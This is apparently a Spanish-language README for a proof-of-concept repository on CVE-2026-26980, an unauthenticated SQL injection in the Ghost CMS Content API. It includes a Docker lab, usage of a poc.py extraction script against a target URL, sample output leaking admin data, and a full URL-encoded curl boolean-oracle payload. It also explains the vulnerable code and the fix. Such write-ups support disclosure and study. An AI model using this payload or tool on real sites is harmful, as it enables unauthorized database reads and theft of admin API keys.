
# Inyección SQL en Ghost Content API
★ CVE-2026-26980 PoC de inyección SQL en Content API de TryGhost Ghost CMS ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 es una vulnerabilidad de inyección SQL no autenticada en la Content API de TryGhost Ghost CMS. La ruta vulnerable es alcanzable a través de la lógica de manejo de filtros de la Content API pública cuando se procesa el ordenamiento slug:[...].
Este PoC construye un laboratorio controlado de Ghost 6.19.0 y demuestra cómo una solicitud pública a la Content API puede convertirse en una primitiva de lectura de base de datos basada en booleanos.
| Producto | Versión afectada | Versión corregida | Tipo de vulnerabilidad |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | Inyección SQL |
El entorno de laboratorio utiliza Ghost 6.19.0.
Construye y ejecuta el entorno vulnerable de Ghost CMS usando Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Ejemplo:
http://127.0.0.1:9102/
El laboratorio ejecuta una instancia real vulnerable de Ghost 6.19.0 en el puerto 9102.
La clave de Content API del laboratorio es:
EQSTLab299
CVE-2026-26980 : Vulnerabilidad de inyección SQL en la Content API de TryGhost Ghost CMS
descripción: Una vulnerabilidad de inyección SQL en TryGhost Ghost CMS anterior a 6.19.1 permite a un atacante no autenticado con acceso a una clave pública de Content API leer valores arbitrarios de la base de datos a través del parámetro filter de la Content API. El problema ocurre en la ruta de ordenamiento del filtro slug:[...], donde los valores de slug controlados por el usuario se insertan en SQL crudo sin un enlace de parámetros adecuado.
Las claves de Content API de Ghost se exponen comúnmente a los navegadores por diseño a través de temas, búsqueda, portal o JavaScript del frontend. Esto significa que la ruta vulnerable puede ser alcanzable sin autenticación de Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Clave de Content API personalizada opcional:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Ejemplo de [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
El PoC público demuestra el impacto de lectura de base de datos extrayendo metadatos de base de datos seguros para el laboratorio y material de claves de la API de Ghost. No imprime el flag del desafío.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
La lógica vulnerable existe en la ruta de serialización de entrada de la Content API de Ghost para los filtros slug:[...]. Ghost admite filtros de slug en estilo de lista y preserva el orden de slug solicitado generando una expresión ORDER BY CASE.
En las versiones vulnerables, los valores de slug controlados por el usuario se insertan en un fragmento SQL. Un patrón vulnerable simplificado es:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Debido a que slug está controlado por el atacante y se inserta en la cadena SQL sin enlace de parámetros, un filtro de Content API manipulado puede escapar de la comparación prevista e inyectar lógica SQL adicional.
El PoC de laboratorio utiliza dos etiquetas públicas, bacon y chorizo, como oráculo booleano observable.
bacon se ordena primero.chorizo se ordena primero.Al repetir esta prueba con diferentes condiciones SQL, el PoC puede inferir valores de la base de datos un carácter a la vez.
Comprobación del oráculo booleano con curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
La causa raíz es la construcción insegura de un fragmento SQL ORDER BY CASE a partir de valores slug controlados por el usuario. El código vulnerable intenta preservar el orden de respuesta de la Content API, pero trata los valores de filtro NQL analizados como texto SQL de confianza.
Una corrección sólida debe:
Ghost corrigió este problema en 6.19.1 reemplazando la interpolación cruda con enlaces de consulta parametrizados.
Este es un problema CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL.
Debido a que la Content API de Ghost es intencionalmente pública, esta vulnerabilidad puede permitir a un atacante no autenticado crear una primitiva de lectura de base de datos a través de un endpoint de contenido público. Dependiendo del contenido y los permisos de la base de datos, un atacante podría:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
Este laboratorio ejecuta una instancia real vulnerable de Ghost 6.19.0 en lugar de un servidor simulado mínimo.
El laboratorio incluye:
EQSTLab299bacon, chorizoEl poc.py público está diseñado para videos de demostración y writeups públicos. Muestra el impacto de la inyección SQL sin imprimir el flag del desafío.
docker stop cve-2026-26980
Este repositorio no pretende ser un exploit de inyección SQL para CVE-2026-26980. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980